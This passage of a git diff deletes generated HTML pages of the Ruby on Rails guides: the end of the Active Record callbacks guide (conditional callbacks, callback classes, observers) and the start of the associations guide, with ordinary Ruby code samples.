-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/caution.png" alt="Caution" />
-</td>
-<td class="content">Remember to always declare the callback methods as being protected or private. These methods should never be public, otherwise it will be possible to call them from code outside the model, violating object encapsulation and exposing implementation details.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_conditional_callbacks">9. Conditional callbacks</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Like in validations, we can also make our callbacks conditional, calling then only when a given predicate is satisfied. You can do that by using the <tt>:if</tt> and <tt>:unless</tt> options, which can take a symbol, a string or a Ruby Proc. You may use the <tt>:if</tt> option when you want to specify when the callback <strong>should</strong> get called. If you want to specify when the callback <strong>should not</strong> be called, then you may use the <tt>:unless</tt> option.</p></div>
-<h3 id="_using_a_symbol_with_the_tt_if_tt_and_tt_unless_tt_options_2">9.1. Using a symbol with the <tt>:if</tt> and <tt>:unless</tt> options</h3>
-<div class="paragraph"><p>You can associate the <tt>:if</tt> and <tt>:unless</tt> options with a symbol corresponding to the name of a method that will get called right before the callback. If this method returns <tt>false</tt> the callback won&#8217;t be executed. This is the most common option. Using this form of registration it&#8217;s also possible to register several different methods that should be called to check the if the callback should be executed.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- before_save <span style="color: #990000">:</span>normalize_card_number<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>paid_with_card?
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_using_a_string_with_the_tt_if_tt_and_tt_unless_tt_options_2">9.2. Using a string with the <tt>:if</tt> and <tt>:unless</tt> options</h3>
-<div class="paragraph"><p>You can also use a string that will be evaluated using <tt>:eval</tt> and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- before_save <span style="color: #990000">:</span>normalize_card_number<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"paid_with_card?"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_using_a_proc_object_with_the_tt_if_tt_and_tt_unless_tt_options_2">9.3. Using a Proc object with the <tt>:if</tt> and :<tt>unless</tt> options</h3>
-<div class="paragraph"><p>Finally, it&#8217;s possible to associate <tt>:if</tt> and <tt>:unless</tt> with a Ruby Proc object. This option is best suited when writing short validation methods, usually one-liners.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- before_save <span style="color: #990000">:</span>normalize_card_number<span style="color: #990000">,</span>
- <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> Proc<span style="color: #990000">.</span>new <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>order<span style="color: #990000">|</span> order<span style="color: #990000">.</span>paid_with_card? <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_multiple_conditions_for_callbacks">9.4. Multiple Conditions for Callbacks</h3>
-<div class="paragraph"><p>When writing conditional callbacks, it&#8217;s possible to mix both <tt>:if</tt> and <tt>:unless</tt> in the same callback declaration.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Comment <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- after_create <span style="color: #990000">:</span>send_email_to_author<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>author_wants_emails?<span style="color: #990000">,</span>
- <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> <span style="color: #990000">=&gt;</span> Proc<span style="color: #990000">.</span>new <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>comment<span style="color: #990000">|</span> comment<span style="color: #990000">.</span>post<span style="color: #990000">.</span>ignore_comments? <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-</div>
-<h2 id="_available_callbacks">10. Available callbacks</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations.</p></div>
-<h3 id="_callbacks_called_both_when_creating_or_updating_a_record">10.1. Callbacks called both when creating or updating a record.</h3>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>before_validation</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>after_validation</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>before_save</tt>
-</p>
-</li>
-<li>
-<p>
-<strong>INSERT OR UPDATE OPERATION</strong>
-</p>
-</li>
-<li>
-<p>
-<tt>after_save</tt>
-</p>
-</li>
-</ul></div>
-<h3 id="_callbacks_called_only_when_creating_a_new_record">10.2. Callbacks called only when creating a new record.</h3>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>before_validation_on_create</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>after_validation_on_create</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>before_create</tt>
-</p>
-</li>
-<li>
-<p>
-<strong>INSERT OPERATION</strong>
-</p>
-</li>
-<li>
-<p>
-<tt>after_create</tt>
-</p>
-</li>
-</ul></div>
-<h3 id="_callbacks_called_only_when_updating_an_existing_record">10.3. Callbacks called only when updating an existing record.</h3>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>before_validation_on_update</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>after_validation_on_update</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>before_update</tt>
-</p>
-</li>
-<li>
-<p>
-<strong>UPDATE OPERATION</strong>
-</p>
-</li>
-<li>
-<p>
-<tt>after_update</tt>
-</p>
-</li>
-</ul></div>
-<h3 id="_callbacks_called_when_removing_a_record_from_the_database">10.4. Callbacks called when removing a record from the database.</h3>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>before_destroy</tt>
-</p>
-</li>
-<li>
-<p>
-<strong>DELETE OPERATION</strong>
-</p>
-</li>
-<li>
-<p>
-<tt>after_destroy</tt>
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>The <tt>before_destroy</tt> and <tt>after_destroy</tt> callbacks will only be called if you delete the model using either the <tt>destroy</tt> instance method or one of the <tt>destroy</tt> or <tt>destroy_all</tt> class methods of your Active Record class. If you use <tt>delete</tt> or <tt>delete_all</tt> no callback operations will run, since Active Record will not instantiate any objects, accessing the records to be deleted directly in the database.</p></div>
-<h3 id="_the_tt_after_initialize_tt_and_tt_after_find_tt_callbacks">10.5. The <tt>after_initialize</tt> and <tt>after_find</tt> callbacks</h3>
-<div class="paragraph"><p>The <tt>after_initialize</tt> callback will be called whenever an Active Record object is instantiated, either by direcly using <tt>new</tt> or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record <tt>initialize</tt> method.</p></div>
-<div class="paragraph"><p>The <tt>after_find</tt> callback will be called whenever Active Record loads a record from the database. When used together with <tt>after_initialize</tt> it will run first, since Active Record will first read the record from the database and them create the model object that will hold it.</p></div>
-<div class="paragraph"><p>The <tt>after_initialize</tt> and <tt>after_find</tt> callbacks are a bit different from the others, since the only way to register those callbacks is by defining them as methods. If you try to register <tt>after_initialize</tt> or <tt>after_find</tt> using macro-style class methods, they will just be ignored. This behaviour is due to performance reasons, since <tt>after_initialize</tt> and <tt>after_find</tt> will both be called for each record found in the database, significantly slowing down the queries.</p></div>
-</div>
-<h2 id="_halting_execution">11. Halting Execution</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model&#8217;s validations, the registered callbacks and the database operation to be executed. However, if at any moment one of the <tt>before_create</tt>, <tt>before_save</tt>, <tt>before_update</tt> or <tt>before_destroy</tt> callback methods returns a boolean <tt>false</tt> (not <tt>nil</tt>) value or raise and exception, this execution chain will be halted and the desired operation will not complete: your model will not get persisted in the database, or your records will not get deleted and so on. It&#8217;s because the whole callback chain is wrapped in a transaction, so raising an exception or returning <tt>false</tt> fires a database ROLLBACK.</p></div>
-</div>
-<h2 id="_callback_classes">12. Callback classes</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Sometimes the callback methods that you&#8217;ll write will be useful enough to be reused at other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.</p></div>
-<div class="paragraph"><p>Here&#8217;s an example where we create a class with a after_destroy callback for a PictureFile model.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PictureFileCallbacks
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> after_destroy<span style="color: #990000">(</span>picture_file<span style="color: #990000">)</span>
- File<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>picture_file<span style="color: #990000">.</span>filepath<span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> File<span style="color: #990000">.</span>exists?<span style="color: #990000">(</span>picture_file<span style="color: #990000">.</span>filepath<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>When declared inside a class the callback method will receive the model object as a parameter. We can now use it this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PictureFile <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- after_destroy PictureFileCallbacks<span style="color: #990000">.</span>new
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Note that we needed to instantiate a new PictureFileCallbacks object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PictureFileCallbacks
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>after_destroy<span style="color: #990000">(</span>picture_file<span style="color: #990000">)</span>
- File<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>picture_file<span style="color: #990000">.</span>filepath<span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> File<span style="color: #990000">.</span>exists?<span style="color: #990000">(</span>picture_file<span style="color: #990000">.</span>filepath<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>If the callback method is declared this way, it won&#8217;t be necessary to instantiate a PictureFileCallbacks object.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PictureFile <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- after_destroy PictureFileCallbacks
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>You can declare as many callbacks as you want inside your callback classes.</p></div>
-</div>
-<h2 id="_observers">13. Observers</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Active Record callbacks are a powerful feature, but they can pollute your model implementation with code that&#8217;s not directly related to the model&#8217;s purpose. In object-oriented software, it&#8217;s always a good idea to design your classes with a single responsibility in the whole system. For example, it wouldn&#8217;t make much sense to have a <tt>User</tt> model with a method that writes data about a login attempt to a log file. Whenever you&#8217;re using callbacks to write code that&#8217;s not directly related to your model class purposes, it may be a good moment to create an Observer.</p></div>
-<div class="paragraph"><p>An Active Record Observer is an object that links itself to a model and registers its methods for callbacks. Your model&#8217;s implementation remains clean, while you can reuse the code in the Observer to add behaviour to more than one model class. OK, you may say that we can also do that using callback classes, but it would still force us to add code to our model&#8217;s implementation.</p></div>
-<div class="paragraph"><p>Observer classes are subclasses of the ActiveRecord::Observer class. When this class is subclassed, Active Record will look at the name of the new class and then strip the <em>Observer</em> part to find the name of the Active Record class to observe.</p></div>
-<div class="paragraph"><p>Consider a Registration model, where we want to send an email every time a new registration is created. Since sending emails is not directly related to our model&#8217;s purpose, we could create an Observer to do just that:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> RegistrationObserver <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Observer
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> after_create<span style="color: #990000">(</span>model<span style="color: #990000">)</span>
- <span style="font-style: italic"><span style="color: #9A1900"># code to send registration confirmation emails...</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Like in callback classes, the observer&#8217;s methods receive the observed model as a parameter.</p></div>
-<div class="paragraph"><p>Sometimes using the ModelName + Observer naming convention won&#8217;t be the best choice, mainly when you want to use the same observer for more than one model class. It&#8217;s possible to explicity specify the models that our observer should observe.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Auditor <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Observer
- observe User<span style="color: #990000">,</span> Registration<span style="color: #990000">,</span> Invoice
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_registering_observers">13.1. Registering observers</h3>
-<div class="paragraph"><p>If you paid attention, you may be wondering where Active Record Observers are referenced in our applications, so they get instantiated and begin to interact with our models. For observers to work we need to register them somewhere. The usual place to do that is in our application&#8217;s <strong>config/environment.rb</strong> file. In this file there is a commented-out line where we can define the observers that our application should load at start-up.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Activate observers that should always be running</span></span>
-config<span style="color: #990000">.</span>active_record<span style="color: #990000">.</span>observers <span style="color: #990000">=</span> <span style="color: #990000">:</span>registration_observer<span style="color: #990000">,</span> <span style="color: #990000">:</span>auditor</tt></pre></div></div>
-<div class="paragraph"><p>You can uncomment the line with <tt>config.active_record.observers</tt> and change the symbols for the name of the observers that should be registered.</p></div>
-<div class="paragraph"><p>It&#8217;s also possible to register callbacks in any of the files living at <strong>config/environments/</strong>, if you want an observer to work only in a specific environment. There is not a <tt>config.active_record.observers</tt> line at any of those files, but you can simply add it.</p></div>
-<h3 id="_where_to_put_the_observers_source_files">13.2. Where to put the observers' source files</h3>
-<div class="paragraph"><p>By convention, you should always save your observers' source files inside <strong>app/models</strong>.</p></div>
-</div>
-<h2 id="_changelog">14. Changelog</h2>
-<div class="sectionbody">
-<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks">Lighthouse ticket</a></p></div>
-<div class="paragraph"><p>January 9, 2009: Initial version by <a href="http://guides.rails.info/authors.html#cmarques">Cássio Marques</a></p></div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/association_basics.html b/railties/doc/guides/html/association_basics.html
deleted file mode 100644
index bfe8f3f341..0000000000
--- a/railties/doc/guides/html/association_basics.html
+++ /dev/null
@@ -1,2315 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>A Guide to Active Record Associations</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_why_associations">Why Associations?</a>
- </li>
- <li>
- <a href="#_the_types_of_associations">The Types of Associations</a>
- <ul>
-
- <li><a href="#_the_tt_belongs_to_tt_association">The <tt>belongs_to</tt> Association</a></li>
-
- <li><a href="#_the_tt_has_one_tt_association">The <tt>has_one</tt> Association</a></li>
-
- <li><a href="#_the_tt_has_many_tt_association">The <tt>has_many</tt> Association</a></li>
-
- <li><a href="#_the_tt_has_many_through_tt_association">The <tt>has_many :through</tt> Association</a></li>
-
- <li><a href="#_the_tt_has_one_through_tt_association">The <tt>has_one :through</tt> Association</a></li>
-
- <li><a href="#_the_tt_has_and_belongs_to_many_tt_association">The <tt>has_and_belongs_to_many</tt> Association</a></li>
-
- <li><a href="#_choosing_between_tt_belongs_to_tt_and_tt_has_one_tt">Choosing Between <tt>belongs_to</tt> and <tt>has_one</tt></a></li>
-
- <li><a href="#_choosing_between_tt_has_many_through_tt_and_tt_has_and_belongs_to_many_tt">Choosing Between <tt>has_many :through</tt> and <tt>has_and_belongs_to_many</tt></a></li>
-
- <li><a href="#_polymorphic_associations">Polymorphic Associations</a></li>
-
- <li><a href="#_self_joins">Self Joins</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_tips_tricks_and_warnings">Tips, Tricks, and Warnings</a>
- <ul>
-
- <li><a href="#_controlling_caching">Controlling Caching</a></li>
-
- <li><a href="#_avoiding_name_collisions">Avoiding Name Collisions</a></li>
-
- <li><a href="#_updating_the_schema">Updating the Schema</a></li>
-
- <li><a href="#_controlling_association_scope">Controlling Association Scope</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_detailed_association_reference">Detailed Association Reference</a>
- <ul>
-
- <li><a href="#_the_tt_belongs_to_tt_association_2">The <tt>belongs_to</tt> Association</a></li>
-
- <li><a href="#_the_has_one_association">The has_one Association</a></li>
-
- <li><a href="#_the_has_many_association">The has_many Association</a></li>
-
- <li><a href="#_the_tt_has_and_belongs_to_many_tt_association_2">The <tt>has_and_belongs_to_many</tt> Association</a></li>
-
- <li><a href="#_association_callbacks">Association Callbacks</a></li>
-
- <li><a href="#_association_extensions">Association Extensions</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>A Guide to Active Record Associations</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>This guide covers the association features of Active Record. By referring to this guide, you will be able to:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Declare associations between Active Record models
-</p>
-</li>
-<li>
-<p>
-Understand the various types of Active Record associations
-</p>
-</li>
-<li>
-<p>
-Use the methods added to your models by creating associations
-</p>
-</li>
-</ul></div>
-</div>
-</div>
-<h2 id="_why_associations">1. Why Associations?</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Now, suppose we wanted to add a new order for an existing customer. We&#8217;d need to do something like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> Order<span style="color: #990000">.</span>create<span style="color: #990000">(:</span>order_date <span style="color: #990000">=&gt;</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">,</span> <span style="color: #990000">:</span>customer_id <span style="color: #990000">=&gt;</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>id<span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>Or consider deleting a customer, and ensuring that all of its orders get deleted as well:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@orders</span> <span style="color: #990000">=</span> Order<span style="color: #990000">.</span>find_by_customer_id<span style="color: #990000">(</span><span style="color: #009900">@customer</span><span style="color: #990000">.</span>id<span style="color: #990000">)</span>
-<span style="color: #009900">@orders</span><span style="color: #990000">.</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>order<span style="color: #990000">|</span>
- order<span style="color: #990000">.</span>destroy
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="color: #009900">@customer</span><span style="color: #990000">.</span>destroy</tt></pre></div></div>
-<div class="paragraph"><p>With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here&#8217;s the revised code for setting up customers and orders:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>customer
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>With this change, creating a new order for a particular customer is easier:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>create<span style="color: #990000">(:</span>order_date <span style="color: #990000">=&gt;</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>Deleting a customer and all of its orders is <em>much</em> easier:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@customer</span><span style="color: #990000">.</span>destroy</tt></pre></div></div>
-<div class="paragraph"><p>To learn more about the different types of associations, read the next section of this Guide. That&#8217;s followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.</p></div>
-</div>
-<h2 id="_the_types_of_associations">2. The Types of Associations</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>In Rails, an <em>association</em> is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model <tt>belongs_to</tt> another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>belongs_to</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>has_one</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>has_many</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>has_many :through</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>has_one :through</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>has_and_belongs_to_many</tt>
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>In the remainder of this guide, you&#8217;ll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.</p></div>
-<h3 id="_the_tt_belongs_to_tt_association">2.1. The <tt>belongs_to</tt> Association</h3>
-<div class="paragraph"><p>A <tt>belongs_to</tt> association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you&#8217;d declare the order model this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>customer
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p><span class="image">
-<img src="images/belongs_to.png" alt="belongs_to Association Diagram" title="belongs_to Association Diagram" />
-</span></p></div>
-<h3 id="_the_tt_has_one_tt_association">2.2. The <tt>has_one</tt> Association</h3>
-<div class="paragraph"><p>A <tt>has_one</tt> association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you&#8217;d declare the supplier model like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_one <span style="color: #990000">:</span>account
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p><span class="image">
-<img src="images/has_one.png" alt="has_one Association Diagram" title="has_one Association Diagram" />
-</span></p></div>
-<h3 id="_the_tt_has_many_tt_association">2.3. The <tt>has_many</tt> Association</h3>
-<div class="paragraph"><p>A <tt>has_many</tt> association indicates a one-to-many connection with another model. You&#8217;ll often find this association on the "other side" of a <tt>belongs_to</tt> association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
